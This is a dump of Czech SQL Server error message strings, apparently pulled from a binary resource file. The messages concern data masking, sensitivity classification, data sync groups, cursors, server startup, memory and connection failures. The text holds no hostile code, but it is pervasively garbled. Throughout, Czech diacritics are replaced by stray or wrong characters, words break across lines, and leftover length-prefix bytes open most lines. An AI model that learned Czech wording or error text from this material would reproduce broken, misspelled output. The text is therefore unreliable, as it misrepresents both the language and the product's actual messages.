tFunkce maskov�n� dat pro sloupec %1!s! je moc dlouh�.

pDotaz pYistupoval k pY�lia mnoha rozn�m datab�z�m.

�Funkce maskov�n� nejde pYidat do sloupce, kter� se pou~�v� v kl�
i pro fulltextov� index.

�Nepovedlo se vytvoYit fulltextov� index, proto~e kl�
ov� sloupec %1!s! m� definovanou maskovac� funkci.

�Index zobrazen� %1!s! nejde vytvoYit, proto~e zobrazen� odkazuje na tabulku %2!s! s maskovan�mi sloupci.

�Funkci maskov�n� nejde pYidat do sloupce, kter� se pou~�v� v sad zhuatn�ch sloupco.

xMo~nost %1!s! nen� pro klasifikaci utajen� podporov�na.

XZadan� n�zev objektu %1!s! nen� platn�.

xKlasifikace utajen� nen� pro zadan� objekt podporov�na.

lMo~nost klasifikace utajen� %1!s! byla opakov�na.

xMo~nost %1!s! je pY�lia dlouh� (maxim�ln %2!s! znako).

<Mo~nost %1!s! je pr�zdn�.

�Sch�ma %1!s! nebylo nalezeno nebo nem�te opr�vnn� k nmu pYistupovat.

�Tabulka %1!s! nebyla nalezena nebo nem�te opr�vnn� k n� pYistupovat.

�Sloupec %1!s! nebyl v tabulce %2!s! nalezen nebo nem�te opr�vnn� k nmu pYistupovat.

�Specifikace datab�zov� 
�sti n�zvu objektu nen� podporov�na.

�Operace klasifikace utajen� nelze pou~�t na vypo
�tan� sloupec %1!s!.

�Klasifikace citlivosti nejde pYid�vat do tabulky historie pY�mo.

`�roveH utajen� se nesm� zadat jako Yetzec.

��roveH utajen� mus� b�t jedna z n�sleduj�c�ch: NONE, LOW, MEDIUM, HIGH, CRITICAL.

tHodnota mo~nosti %1!s! mus� b�t zad�na jako Yetzec.

@Objekt %1!s! nen� tabulka.

|PY�kaz selhal, proto~e APPROX_COUNT_DISTINCT nepodporuje parametry DISTINCT <n�zev-sloupce>. Zva~te, zda nepou~�t APPROX_COUNT_DISTINCT bez DISTINCT, nebo COUNT 
i COUNT_BIG s DISTINCT.

�PY�kaz selhal, proto~e %1!s! nepodporuje parametry DISTINCT <n�zev-sloupce>.

�Kl�
ov� slovo nebo pY�kazov� parametr %1!s! nen� na platform %2!s! podporov�n.

 Mo~nost "INLINE=ON" nen� pro tuto funkci platn�. Pod�vejte se do dokumentace, jak� konstrukty jsou ve funkci podporov�ny s mo~nost� INLINE.

�Pro sloupec %1!s! bylo zad�no neplatn� poYad� sloupce. PoYad� sloupce mus� b�t vta� ne~ nula.

�V dotazu OPENROWSET byla zad�na neplatn� d�lka 
ten�. D�lka mus� b�t vta� ne~ nula.

DU~ivatel %1!s! nebyl nalezen.

@Role %1!s! nebyla nalezena.

T%1!s! nen� funkce, kterou jde omezit.

d%1!s! nen� tY�da objektu, kterou jde omezit.

TDatab�ze nepodporuje omezen� funkc�.

POmezen� funkce se nepovedlo pYidat.

TOmezen� funkce se nepovedlo odpojit.

�Neplatn� parametr %1!s!: Mus� to b�t Yetzec unicode s d�lkou od 1 do 127 znako.

lPro u~ivatele dbo nejsou povolena omezen� funkc�.

lPYihlaaovac� �daje datab�ze %1!s! jsou neplatn�.

�Nejde odstranit agenta synchronizace %1!s!, proto~e je pou~�v�n 
lenem synchronizace %2!s!.

�Nejde pYidat datab�zi %1!s! do skupiny synchronizace, proto~e n�zev datab�ze je neplatn�.

PDatab�ze centra %1!s! je neplatn�.

Plensk� datab�ze %1!s! je neplatn�.

Datab�zi %1!s! nejde odstranit, proto~e se pou~�v� jako datab�ze synchronizace metadat, kter� obsahuje skupiny nebo agenty synchronizace.

lDatab�ze synchronizace metadat %1!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat skupinu synchronizace, proto~e n�zev skupiny synchronizace %1!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e z�sada Yeaen� konflikto je neplatn�.

�Nejde vytvoYit skupinu synchronizace, proto~e n�zev skupiny synchronizace %1!s! se pou~�v�.

�Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e sch�ma synchronizace obsahuje cyklick� odkaz.

$Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e tabulka %2!s! ve sch�matu synchronizace neobsahuje clusterovan� index.

�Nejde odstranit skupinu synchronizace %1!s!, proto~e skupina synchronizace prov�d� synchronizaci.

�Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e datab�ze %2!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e interval synchronizace je neplatn�.

�Nejde aktualizovat sch�ma synchronizace, proto~e zmna datov�ho typu nen� podporov�na.

(Skupina synchronizace %1!s! nen� pYipraven� aktualizovat sch�ma synchronizace, proto~e na skupin synchronizace pr�v prob�haj� njak� operace.

�Nejde aktualizovat sch�ma synchronizace, proto~e v datab�zi %1!s! chyb� nkter� sloupce.

�Nejde aktualizovat sch�ma synchronizace, proto~e v datab�zi %1!s! chyb� nkter� tabulky.

�Nejde aktualizovat sch�ma synchronizace, proto~e form�t sch�matu synchronizace je neplatn�.

�Skupina synchronizace %1!s! nen� v aktivn�m stavu. Zkontrolujte, jestli je nastaven� jej� sch�ma synchronizace.

�Datab�ze centra %1!s! je pozastaven�, proto~e jej� pYihlaaovac� �daje jsou neplatn�.

\Skupina synchronizace %1!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat 
lena synchronizace, proto~e n�zev 
lena synchronizace %1!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat 
lena synchronizace %1!s!, proto~e zadan� typ datab�ze %2!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat 
lena synchronizace %1!s!, proto~e zadan� smr synchronizace %2!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat 
lena synchronizace %1!s!, proto~e zadan� agent synchronizace %2!s! je neplatn�.

�Nejde vytvoYit nebo aktualizovat 
lena synchronizace %1!s!, proto~e zadan� ID datab�ze SQL Server %2!s! je neplatn�.

�Nejde vytvoYit 
lena synchronizace, proto~e zadan� n�zev 
lena synchronizace %1!s! se pou~�v�.

�Nejde vytvoYit 
lena synchronizace %1!s!, proto~e zadan� datab�ze %2!s! je u~ pYidan� jako 
len synchronizace.

�Nejde odstranit 
lena synchronizace %1!s!, kdy~ pr�v prov�d� synchronizaci.

Tlen synchronizace %1!s! neexistuje.

�Nejde vytvoYit agenta synchronizace, proto~e zadan� n�zev agenta synchronizace %1!s! se pou~�v�.

XAgent synchronizace %1!s! je neplatn�.

Nejde vytvoYit skupinu synchronizace %1!s!, proto~e maxim�ln� po
et z�kladn�ch skupin synchronizace, kter� je mo~n� vytvoYit, je %2!s!.

$Nejde vytvoYit 
lena synchronizace %1!s!, proto~e maxim�ln� po
et 
leno synchronizace, kter� lze vytvoYit ve skupin synchronizace, je %2!s!.

Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e maxim�ln� po
et tabulek ve sch�matu synchronizace je %2!s!.

Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e tabulka %2!s! ve sch�matu synchronizace neobsahuje prim�rn� kl�
.

$Nejde vytvoYit nebo aktualizovat skupinu synchronizace %1!s!, proto~e zadan� sch�ma synchronizace obsahuje nepodporovan� datov� typ sloupce.

\Nejde aktualizovat sch�ma datab�ze %1!s!.

�Nejde vytvoYit agenta synchronizace %1!s! pod jin�m SQL Serverem ne~ je SQL Server pro datab�zi metadat synchronizace.

�Obdob� uchov�n� protokolu konflikto je povinn� parametr, kdy~ je zapnuto protokolov�n� konflikto.

�Funkce protokolov�n� konflikto synchronizace dat nen� povolen�.

�Hodnota doby uchov�n� protokolu konflikto synchronizace dat ve dnech mus� b�t kladn� nebo nula.

XSkupina synchronizace se ji~ vyYazuje.

Plen synchronizace se ji~ vyYazuje.

tNepovedlo se prov�st operaci synchronizace dat: %1!s!

�Zadan� datab�ze synchronizace (%1!s!\\%2!s!) neodpov�d� existuj�c� datab�zi synchronizace (%3!s!\\%4!s!).

XLogick� server centra %1!s! neexistuje.

XAgent synchronizace %1!s! ji~ existuje.

dAgent synchronizace s id %1!s! ji~ existuje.

�Skupinu synchronizace nejde aktualizovat, proto~e je pr�v vyYazov�na.

tV synchronizaci dat nejde pou~�t edici datawarehouse.

�V synchronizaci dat nejde pou~�t hlavn� logickou datab�zi.

h%1!s!: Tato funkce jeat nebyla implementov�na.

`%1!s!: Hodnota parametru %2!s! je neplatn�.

|Procedura %1!s! byla vol�na nespr�vn�m po
tem parametro.

�sp_cursor: optype: Mo~nost ABSOLUTE lze zadat jen v kombinaci s mo~nost� DELETE nebo UPDATE.

8Kurzor je ji~ otevYen.

Do
asn� �lo~iat, kter� kurzor pou~�v� k ukl�d�n� velk�ch objektov�ch promnn�ch odkazovan�ch dotazem kurzoru, ji~ nen� pou~iteln�.

lV pY�kazech kurzoru nen� povolena polo~ka %1!s!.

�%1!s!: Poskytnut� hodnota identifik�toru kurzoru (%2!s!) je neplatn�.

lKurzor %1!s! je aktu�ln pou~�v�n jin�m pY�kazem.

�%1!s!: Typ na
�t�n� %2!s! nelze pou~�t s dopYedn�mi kurzory.

tProcedura %1!s! byla vol�na s pY�lia mnoha parametry.

PKurzor s n�zvem %1!s! ji~ existuje.

LKurzor s n�zvem %1!s! neexistuje.

4Kurzor nen� otevYen.

�Na
ten� kurzoru: Implicitn� pYevod datov�ho typu %1!s! na %2!s! nen� povolen.

�Na
ten� kurzoru: Po
et promnn�ch deklarovan�ch v seznamu INTO se mus� shodovat s po
tem vybran�ch sloupco.

xTyp na
�t�n� %1!s! nelze pou~�t s dynamick�mi kurzory.

�sp_cursoroption: ID sloupce (%1!s!) neodpov�d� ~�dn�mu sloupci s datov�m typem text, ntext nebo image.

�Nelze na
�st do promnn�ch datov�ho typu text, ntext a image.

�sp_cursor: PY�kaz Exec nen� povolen jako zdroj pro vlo~en� kurzoru.

<Kurzor je jen pro 
ten�.

tPo~adovan� Y�dek nen� ve vyrovn�vac� pamti na
ten�.

|V aktu�ln� vyrovn�vac� pamti na
ten� nejsou ~�dn� Y�dky.

�Kurzor m� seznam FOR UPDATE a po~adovan� sloupec, kter� m� b�t aktualizov�n, nen� v tomto seznamu.

�Kurzor neobsahuje tabulku, kter� je upravov�na, nebo tabulku nelze aktualizovat prostYednictv�m tohoto kurzoru.

�Pro pY�kaz sp_cursor-%1!s! nebyly nastaveny ~�dn� hodnoty parametro.

psp_cursor: Jeden nebo v�ce parametro je neplatn�ch.

�Serverov� kurzor nelze otevY�t na dan�m pY�kaze nebo pY�kazech. Pou~ijte v�choz� sadu v�sledko nebo klientsk� kurzor.

xsp_cursoropen/sp_cursorprepare: Parametrem pY�kazu mo~e b�t pouze d�vka nebo ulo~en� procedura s jedn�m pY�kazem SELECT, bez klauzule FOR BROWSE, COMPUTE BY nebo pYiYazen� promnn�ch.

�U tabulek otevYen�ch s mo~nost� NOLOCK nejsou povoleny aktualizace kurzoru.

�Nelze generovat asynchronn� sadu kl�
o. Kurzor byl navr�cen.

�Nelze dokon
it operaci kurzoru, proto~e se po deklarov�n� kurzoru zmnilo sch�ma tabulky.

<Kurzor nebyl deklarov�n.

�Nelze otevY�t kurzor, proto~e jedna nebo v�ce jeho tabulek se nach�z� mimo obor.

lNebyly aktualizov�ny ani odstranny ~�dn� Y�dky.

�Promnn� %1!s! nen� promnn� kurzoru, ale je pou~ita na m�st, kde je o
ek�v�na promnn� kurzoru.

�Promnn� %1!s! je promnn� kurzoru, ale je pou~ita na m�st, kde je promnn� kurzoru neplatn�.

Promnnou %1!s! nelze pou~�t jako parametr, proto~e parametr CURSOR OUTPUT k sob pYed spuatn�m procedury nesm� m�t pYidlen� kurzor.

�Promnnou kurzoru nelze pou~�t jako parametr pro vol�n� vzd�len� procedury.

XPY�m� prov�dn� k�du SQL. }�dn� kurzor.

LNelze vytvoYit pYijateln� kurzor.

�PY�kaz FOR UPDATE nelze zadat pro kurzor nastaven� jen pro 
ten�.

�Nelze dokon
it operaci kurzoru, proto~e od deklarace kurzoru doalo ke zmn�m nastaven�ch mo~nost�.

XV�po
et jedine
n� tabulky se nezdaYil.

pDos�hli jste maxim�ln�ho povolen�ho po
tu kurzoro.

�C�lov� typ objektu nelze aktualizovat prostYednictv�m kurzoru.

�Pro kurzor, kter� obsahuje vzd�lenou tabulku, nelze zapnout funkci scroll lock.

Pro optimistick� kurzor jsou po~adov�ny sloupce 
asov�ch raz�tek, jestli~e c�le aktualizace nebo odstrann� jsou vzd�len�.

Z dovodu z�vady pYi transakci byla zneplatnna funkce scroll lock kurzoru. Po na
ten� kurzoru opakujte pY�kaz UPDATE nebo DELETE.

�%1!s!: Zadan� mo~nost soub~n�ho ovl�d�n� %2!s! (%3!s!) je nekompatibiln� se statick�mi kurzory a s rychl�mi dopYedn�mi kurzory. Se statick�mi kurzory a rychl�mi dopYedn�mi kurzory je kompatibiln� pouze mo~nost read-only.

LOperace kurzoru mus� po
kat na dokon
en� asynchronn�ho naplnn� kurzoru. V tuto chv�li vaak transakce nemo~e ustoupit, aby asynchronn� naplnn� mohlo pokra
ovat.

lPolo~ka %1!s! nemo~e pYij�mat v�stupn� parametry.

�Nepovedlo se vytvoYit podY�zen� proces vl�kna naplnn� pracovn� tabulky asynchronn�ho kurzoru.

�Doalo k vnitYn� chyb kurzoru: Kurzor se nach�z� v neplatn�m stavu.

�Doalo k chyb pYi odes�l�n� ozn�men� o ud�losti instance typu %1!s! v popisova
i konverzace %2!s!. K�d chyby = %3!s!.

�Vystaven� ud�losti QUEUE_ACTIVATION se nezdaYilo. K�d chyby: '0x%1!s!'

�Koncov� bod konverzace ozn�men� o ud�losti s popisova
em %1!s! byl ukon
en z dovodu n�sleduj�c� chyby: %2!s!.

�Konverzace ozn�men� o ud�losti na popisova
i dialogu %1!s! byla uzavYena bez chyby.

�Ozn�men� o ud�losti %1!s! v datab�zi %2!s! bylo vyYazeno z dovodu chyb pYi odes�l�n� ve slu~b Service Broker. Zkontrolujte, zda popisova
 konverzace, kontrakt slu~by Service Broker a slu~ba zadan� v ozn�men� o ud�losti jsou aktivn�.

Nelze cyklovat soubor protokolu chyb z m�sta %1!s! na m�sto %2!s! z dovodu chyby opera
n�ho syst�mu %3!s!. Proces mimo slu~bu SQL Server mo~e br�nit slu~b SQL Server ve 
ten� souboro. V dosledku toho mohou b�t polo~ky protokolu chyb ztraceny a nkter� protokoly chyb syst�mu SQL Server nemus� b�t mo~n� zobrazit. Zkontrolujte, zda jin� procesy neuzamkly soubor s pY�stupem jen pro z�pis.

hZkuaebn� obdob� SQL Server Evaluation skon
ilo.

h%1!s!: Doalo k chyb opera
n�ho syst�mu %2!s!.

pAktu�ln� ud�lost nebyla hl�aena do protokolu chyb opera
n�ho syst�mu. Chyba opera
n�ho syst�mu: %1!s!. Pokud je protokol chyb opera
n�ho syst�mu pln�, mo~e b�t nutn� jej vymazat.

�Nelze vytvoYit kontext zabezpe
en� pro objekty opera
n�ho syst�mu. Syst�m SQL Server nebylo mo~n� spustit. Vyhledejte odpov�daj�c� polo~ky v prohl�~e
i ud�lost�, kter� v�m pomohou s diagnostikou hlavn� pY�
iny.

�initerrlog: Nelze otevY�t soubor protokolu chyb %1!s!. Chyba opera
n�ho syst�mu = %2!s!.

hChyba: %1!s! Z�va~nost: %2!s! Stav: %3!s! %4!s!

�Kontroln� v�raz syst�mu SQL Server: Soubor: <%1!s!>, Y�dek = %2!s! Chybn� kontroln� v�raz = %3!s! %4!s!. Chyba mo~e souviset s 
asov�n�m. Pokud chyba pYetrv�v� i pot�, co znovu spust�te pY�kaz, zkontrolujte struktur�ln� integritu datab�ze pomoc� pY�kazu DBCC CHECKDB nebo restartujte server, aby bylo zajiatno, ~e nejsou poakozen� datov� struktury v pamti.

�Kontroln� v�raz syst�mu SQL Server: Soubor: <%1!s!>, Y�dek = %2!s! Chybn� kontroln� v�raz = %3!s!. Chyba mo~e souviset s 
asov�n�m. Pokud chyba pYetrv�v� i pot�, co znovu spust�te pY�kaz, zkontrolujte struktur�ln� integritu datab�ze pomoc� pY�kazu DBCC CHECKDB nebo restartujte server, aby bylo zajiatno, ~e nejsou poakozen� datov� struktury v pamti.

�Kontroln� v�raz syst�mu SQL Server: Soubor: <%1!s!>, Y�dek = %2!s! %3!s!. Chyba mo~e souviset s 
asov�n�m. Pokud chyba pYetrv�v� i pot�, co znovu spust�te pY�kaz, zkontrolujte struktur�ln� integritu datab�ze pomoc� pY�kazu DBCC CHECKDB nebo restartujte server, aby bylo zajiatno, ~e nejsou poakozen� datov� struktury v pamti.

�Skupiny prostYedko clusteru nejsou v t�to edici syst�mu SQL Server podporov�ny.

�Syst�m SQL Server nebylo mo~n� spustit z dovodu chyby spuatn�. Chyba opera
n�ho syst�mu = %1!s!.

`Relaci roza�Yen�ch ud�lost� nelze vytvoYit.

�Proveden� ulo~en� procedury sp_server_diagnostics v re~imu opakov�n� s klauzul� insert into nen� povoleno.

�V kontroln�m v�razu %1!s! se zpr�vou %2!s! v <%3!s!>:%4!s! doalo k chyb.

|V kontroln�m v�razu %1!s! v <%2!s!>:%3!s! doalo k chyb.

�Chyba pYi vytv�Yen� podY�zen�ho procesu vl�kna monitorov�n� stavu syst�mu: %1!s!

PYi inicializaci modelu Distributed COM doalo k chyb (funkce CoInitializeEx vr�tila hodnotu %1!s!). Heterogenn� dotazy a vol�n� vzd�len�ch procedur jsou zak�z�ny. Zkontrolujte konfiguraci modelu DCOM pomoc� polo~ky Slu~ba komponent v Ovl�dac�ch panelech.

Byla zad�na neplatn� mo~nost spuatn� %1!s!. Poch�z� bu z registru, nebo z pY�kazov�ho Y�dku. Opravte nebo odeberte pY�sluanou mo~nost.

�PYi z�sk�v�n� konfigura
n�ch informac� bhem spuatn� doalo k chyb %1!s! pYi otev�r�n� souboru %2!s!. Chybu mohla zposobit neplatn� mo~nost spuatn�. Zkontrolujte mo~nosti spuatn� a pY�padn je opravte nebo odeberte.

�PYi z�sk�v�n� konfigura
n�ch informac� bhem spuatn� doalo k chyb %1!s! pYi otev�r�n� souboru %2!s!. Chybu mohla zposobit neplatn� mo~nost spuatn�. Zkontrolujte mo~nosti spuatn� a pY�padn je opravte nebo odeberte.

�PYi inicializaci modelu Distributed COM doalo k chyb. Model DCOM nen� nainstalov�n. Heterogenn� dotazy a vol�n� vzd�len�ch procedur jsou zak�z�ny. Zkontrolujte konfiguraci modelu DCOM pomoc� polo~ky Slu~ba komponent v Ovl�dac�ch panelech.

�SQL Server nemohl vytvoYit podY�zen� proces vl�kna %1!s!. Zkontrolujte protokol chyb syst�mu SQL Server a protokol chyb opera
n�ho syst�mu. V nich z�sk�te informace o mo~n�ch souvisej�c�ch probl�mech.

�initdata: Pro zatYiovac� tabulku vyrovn�vac� pamti j�dra nen� dostatek pamti.

�initdata: Pro vyrovn�vac� pamti j�dra nen� dostatek pamti.

�Pro nakonfigurovan� po
et z�mko nen� dostatek pamti. Prob�h� pokus o spuatn� s mena� zatYiovac� tabulkou z�mko, co~ mo~e m�t dopad na v�kon. Chcete-li nakonfigurovat v�ce pamti pro tuto instanci datab�zov�ho stroje, kontaktujte spr�vce datab�ze.

`PYi spuatn� serveru doalo k chyb z dovodu nedostatku pamti pro zatYiovac� tabulky popisova
e. Sni~te zat�~en� pamti, kter� nen� nezbytn�, 
i navyate syst�movou pame.

8PYi spuatn� serveru doalo k chyb z dovodu nedostatku pamti pro popisova
. Sni~te zat�~en� pamti, kter� nen� nezbytn�, 
i navyate syst�movou pame.

|PYi spuatn� procedury pYi spuatn� %1!s! doalo k chyb.

Nelze pYidlit dostatek pamti ke spuatn� procedury %1!s!. Sni~te zat�~en� pamti, kter� nen� nezbytn�, 
i navyate syst�movou pame.

�Syst�m SQL Server nelze vypravit pomoc� Spr�vce Y�zen� slu~eb. Chyba opera
n�ho syst�mu = %1!s!.

�Nelze zaregistrovat funkci obsluhy Y�zen� slu~by. Chyba opera
n�ho syst�mu = %1!s!.

pSlu~ba SQL Server byla pozastavena. Nebudou povolena ~�dn� nov� pYipojen�. Chcete-li slu~bu znovu spustit, pou~ijte Spr�vce po
�ta
e SQL nebo polo~ku Slu~by v Ovl�dac�ch panelech.

�%1!s!: Nelze nastavit stav Y�zen� slu~eb. Chyba opera
n�ho syst�mu = %2!s!.

�initeventlog: Nelze zah�jit slu~bu EventLog pro kl�
 '%1!s!', posledn� k�d chyby je %2!s!.

lFunkce SNIInitialize() selhala s chybou 0x%1!s!.

|Funkce SNIInitializeListener() selhala s chybou 0x%1!s!.

�Inicializace klienta TDSSNIClient se nezdaYila s chybou 0x%1!s!, stavov� k�d 0x%2!s!. Dovod: %3!s! %4!s!

LNelze aktualizovat z�sady hesel.

�%1!s! �loh se nepodaYilo zaYadit do fronty. PY�
inou mo~e b�t nedostatek pamti.

Syst�m SQL Server nen� pYipraven pYij�mat nov� pYipojen� kliento. Po
kejte nkolik minut a opakujte akci. Pokud m�te pY�stup k protokolu chyb, opakujte pokus a~ pot�, co se v protokolu objev� informa
n� zpr�va, ~e syst�m SQL Server je pYipraven. %1!s!

�Syst�m SQL Server nemo~e pYijmout nov� pYipojen�, proto~e se vyp�n�. PYipojen� bylo ukon
eno.%1!s!

<PYi vytv�Yen� podY�zen�ho procesu vl�kna ke zpracov�n� nov�ho pYihlaaovac�ho jm�na nebo pYipojen� doalo k chyb SQL Serveru, k�d chyby 0x%1!s!. Zkontrolujte protokol chyb SQL Serveru a protokol chyb opera
n�ho syst�mu, kde z�sk�te informace o mo~n�ch souvisej�c�ch probl�mech.%2!s!

�PYi inicializaci certifik�tu FallBack doalo k chyb, k�d chyby: %1!s!, stav: %2!s!, 
�slo chyby: %3!s!.

XNov� pYipojen� nelze pYijmout, proto~e relace byla ukon
ena. K t�to chyb doch�z� pYi pokusu spustit novou d�vku bhem relace, kter� se odhlaauje, nebo kdy~ dojde k z�va~n� chyb pYipojen�. V protokolu chyb zkontrolujte, zda byla relace ukon
ena pY�kazem KILL nebo z dovodu z�va~n�ch chyb.%1!s!

�Server nemohl na
�st knihovnu zprostYedkovatele SSL, kter� je nezbytn� pro pYihl�aen�. PYipojen� bylo ukon
eno. Protokol SSL se pou~�v� k aifrov�n� bu pYihlaaovac� sekvence, nebo veaker� komunikace, v z�vislosti na tom, jak spr�vce nakonfiguroval server. Dala� informace o t�to chybov� zpr�v naleznete v Knih�ch online: %1!s! %2!s! %3!s!

�Server nemohl dokon
it inicializa
n� sekvenci, proto~e s�eov� knihovny, kter� jsou k dispozici, nepodporuj� po~adovanou �roveH aifrov�n�. Proces serveru byl zastaven. PYed restartov�n�m serveru, ovYte, zda byly nainstalov�ny certifik�ty protokolu SSL. Dala� informace naleznete v Knih�ch online v t�matu o konfiguraci protokolo a s�eov�ch knihoven klienta.

pPYihl�aen� se nezdaYilo z dovodu vypraen� 
asov�ho limitu. PYipojen� bylo ukon
eno. Tato chyba mo~e znamenat pYet�~en� serveru. Sni~te zat�~en� serveru a opakujte pYihl�aen�.%1!s!

�PYipojen� se nezdaYilo, proto~e nebyl nalezen koncov� bod. K tomu mo~e doj�t, pokud je koncov� bod vyYazen, zat�mco prob�h� pokus o pYipojen�. Pokuste se pYipojit k jin�mu koncov�mu bodu na serveru.%1!s!

�Zmna nastaven� vzd�len�ho pY�stupu pro vyhrazen� pYipojen� spr�vce se nezdaYila s chybou 0x%1!s!, stavov� k�d 0x%2!s!.

�V tomto po
�ta
i nelze syst�m SQL Server spustit. Model procesoru nepodporuje vaechny instrukce, kter� syst�m SQL Server potYebuje k provozu. Dala� informace naleznete v Knih�ch online v t�matu po~adavko na syst�m.

�%1!s!: Nelze otevY�t soubor %2!s! pro 
�slo souboru %3!s!. Chyba opera
n�ho syst�mu: %4!s!.

H%1!s!: PYi vytv�Yen� nebo otev�r�n� souboru %3!s! doalo k chyb opera
n�ho syst�mu %2!s!. Diagnostikujte a opravte chybu opera
n�ho syst�mu a opakujte operaci.

\%1!s!: Soubor %2!s! m� nespr�vnou velikost. Je uvedena velikost %3!s! MB, ale mla by b�t %4!s! MB. Diagnostikujte a opravte chyby na disku a obnovte datab�zi ze z�lohy.

�initdata: Pro vyrovn�vac� pamti j�dra nen� sd�len� pame.

�Replikovan� hlavn� server nen� k dispozici pro inicializaci stavu serveru pYi spuatn�.

�Hlavn� datab�ze obsa~en� skupiny dostupnosti nen� pro inicializaci stavu serveru bhem spouatn� k dispozici.

xSyst�m SQL Server nemohl spustit novou syst�movou �lohu, proto~e nem� k dispozici dostatek pamti, nebo po
et nakonfigurovan�ch relac� pYekra
uje povolen� maximum na serveru. OvYte, zda server m� dostatek pamti. Maxim�ln� po
et povolen�ch u~ivatelsk�ch pYipojen� zjist�te pomoc� ulo~en� procedury sp_configure s mo~nost� user connections. Aktu�ln� po
et relac� v
etn u~ivatelsk�ch proceso zjist�te pomoc� zobrazen� sys.dm_exec_sessions.

|Relace s identifik�torem profilu slu~by %1!s! byla bhem ukon
ov�n� shled�na neplatnou, pravdpodobn proto, ~e byla poakozena struktura relace. Kontaktujte oddlen� technick� podpory.

�%1!s!: Proces %2!s! vygeneroval poruaen� pY�stupu. Syst�m SQL Server tento proces ukon
uje.

�U~ivatelsk� ~�dost z relace s identifik�torem profilu slu~by %1!s! vygenerovala z�va~nou v�jimku. Syst�m SQL Server tento proces ukon
uje. Kontaktujte oddlen� technick� podpory s v�pisem pamti vytvoYen�m v adres�Yi se soubory protokolu.

�Syst�m SQL Server bude ukon
en, proto~e doalo k z�va~n� v�jimce %1!s!. Chyba mo~e b�t zposobena neoaetYenou v�jimkou syst�mu Win32 nebo jazyka C++, nebo poruaen�m pY�stupu, kter� nastal pYi zpracov�n� v�jimky. Zkontrolujte, zda se v protokolu chyb syst�mu SQL Server nach�zej� souvisej�c� v�pisy z�sobn�ku nebo zpr�vy. Tato v�jimka vynut� vypnut� syst�mu SQL Server. Server zotav�te z chyby tak, ~e jej restartujete (pokud nen� agent SQLAgent nakonfigurov�n tak, aby syst�m restartoval automaticky).

 Syst�m SQL Server ukon
uje syst�movou �lohu nebo �lohu na pozad� %1!s!, proto~e pYi jej�m spouatn� doalo k chyb�m (stav instalace %2!s!).

tPYi hl�aen� v�jime
n� situace bylo zjiatno poakozen� nebo oprava bitov� kopie disku. To mo~e znamenat probl�my s hardwarem. Podrobnosti naleznete v souboru SQLDUMPER_ERRORLOG.log.

�PY�kaz DBCC DBRECOVER v datab�zi s identifik�torem %1!s! se nezdaYil. Obnovte datab�zi ze z�lohy.

�PY�kaz DBCC nemo~e uvolnit knihovnu DLL %1!s!. Syst�m SQL Server potYebuje tuto knihovnu DLL, aby mohl spr�vn fungovat.

�Nelze na
�st knihovnu DLL %1!s! nebo jednu z knihoven DLL, na kter� odkazuje. Dovod: %2!s!.

|Nelze nal�zt funkci %1!s! v knihovn %2!s!. Dovod: %3!s!.

LSyst�m SQL Server m� nedostatek pamti pro spuatn� roza�Yen� ulo~en� procedury %1!s!. Uvolnte pameov� prostYedky ukon
en�m pYipojen� nebo ukon
en�m transakc�.

lPY�kaz %1!s! lze spustit pouze v hlavn� datab�zi.

PProtokol TDS (Tabular Data Stream) verze 0x%1!s! pou~it� klientskou knihovnou k otevYen� pYipojen� nen� podporov�n nebo je nezn�m�. PYipojen� bylo ukon
eno. %2!s!

LPYi navazov�n� pYipojen� doalo k chyb pYidlen� pamti. Sni~te zat�~en� pamti, kter� nen� nezbytn�, 
i navyate syst�movou pame. PYipojen� bylo ukon
eno.%1!s!

LV poli vlastnosti UserType z�znamu pYipojen� je zad�na neplatn� hodnota. Hodnota 0x01, kter� byla pou~�v�na pro klienty datab�ze Sybase, ji~ nad�le nen� syst�mem SQL Server podporov�na. Kontaktujte dodavatele klientsk� knihovny, kter� je pou~�v�na pro pYipojen� k syst�mu SQL Server.%1!s!

tMetoda handshake rozhran� SSPI zposobila chybu s k�dem 0x%1!s! a stavem %2!s! pYi navazov�n� pYipojen� s integrovan�m zabezpe
en�m. PYipojen� bylo ukon
eno. Dovod: %3!s! %4!s! %5!s!

Syst�m SQL Server nerozpozn�v� ud�lost %1!s! pYijatou od klienta. Obraete se na dodavatele klientsk� knihovny, kter� je pou~�v�na pro pYipojen� k syst�mu SQL Server, aby opravil 
�slo ud�losti v odes�lan�m datov�m proudu protokolu TDS (Tabular Data Stream).

�PYipojen� se nezdaYilo, proto~e byl dosa~en maxim�ln� po
et u~ivatelsk�ch pYipojen� %1!s!. Spr�vce syst�mu mo~e zv�ait maxim�ln� hodnoty procedurou sp_configure. PYipojen� bylo uzavYeno.%2!s!

�PYipojen� se nezdaYilo, proto~e maxim�ln� po
et %1!s! vyhrazen�ch pYipojen� spr�vce ji~ existuje. Chcete-li vytvoYit nov� pYipojen�, mus�te vyYadit existuj�c� vyhrazen� pYipojen� spr�vce bu odhl�aen�m, nebo ukon
en�m procesu.%2!s!

�Po~adovan� slu~ba byla zastavena nebo zak�z�na a je nyn� nedostupn�. PYipojen� bylo uzavYeno.%1!s!

�Pokus o pYihl�aen� ke vzd�len�mu SQL Serveru se nepovedl s chybou %1!s!: %2!s!

�PYi otev�r�n� klientsk�ho pYipojen� se pYijala nepodporovan� odpov na paket potvrzen� pYihl�aen�.%1!s!

�Pokus o pYipojen� ke vzd�len�mu SQL Serveru selhal s chybou: %1!s!.

�NepodaYilo se zavY�t koncov� bod s�t nebo nelze vypnout s�eovou knihovnu. PY�
inou je vnitYn� chyba s�eov� knihovny. Zkontrolujte protokol chyb: polo~ka uveden� po t�to chyb obsahuje k�d chyby ze s�eov� knihovny.

TNelze spustit s�eovou knihovnu z dovodu vnitYn� chyby v s�eov� knihovn. Chcete-li zjistit pY�
inu chyby, zkontrolujte vaechny pYedch�zej�c� chyby v protokolu chyb.

